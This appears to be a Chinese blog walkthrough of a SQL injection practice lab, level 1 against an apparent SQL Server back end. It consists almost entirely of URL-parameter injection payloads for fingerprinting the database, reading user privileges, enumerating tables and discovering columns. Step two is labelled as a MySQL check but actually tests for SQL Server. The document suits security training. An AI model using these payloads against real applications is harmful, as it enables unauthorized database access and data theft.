less-1
步骤一:判断注入方式 ?id=1' --+
步骤二:判断后台是否是MYSQL数据库
?id=1' and exists(select * from sysobjects) --+
步骤三:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限
?id=-1' union select 1,user,is_srvrolemember('public'); --+
步骤四:查询表名
第一张表:?id=-1'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--+
第二张表:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+
第三张表:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--+
第四张表:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+
第五章表为空:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referers')--+
步骤五:显示字段信息
?id=1' having 1=1--
第二个字段 ?id=1' group by id having 1=1--
第三个字段 ?id=1' group by id,username having 1=1--
步骤六:查询字段值
![](https://i-blog.csdnimg.cn/direct/a0b4e252d36a4fe1833bf48a6d13fe9f.png)
![](https://i-blog.csdnimg.cn/direct/6c7b48dca4924526ade9318bd5f7278e.png)
![](https://i-blog.csdnimg.cn/direct/a6eec02fe1f34124b5d987d5436cee62.png)
![](https://i-blog.csdnimg.cn/direct/60998c82cde34ad8b59eb70f6ab087b3.png)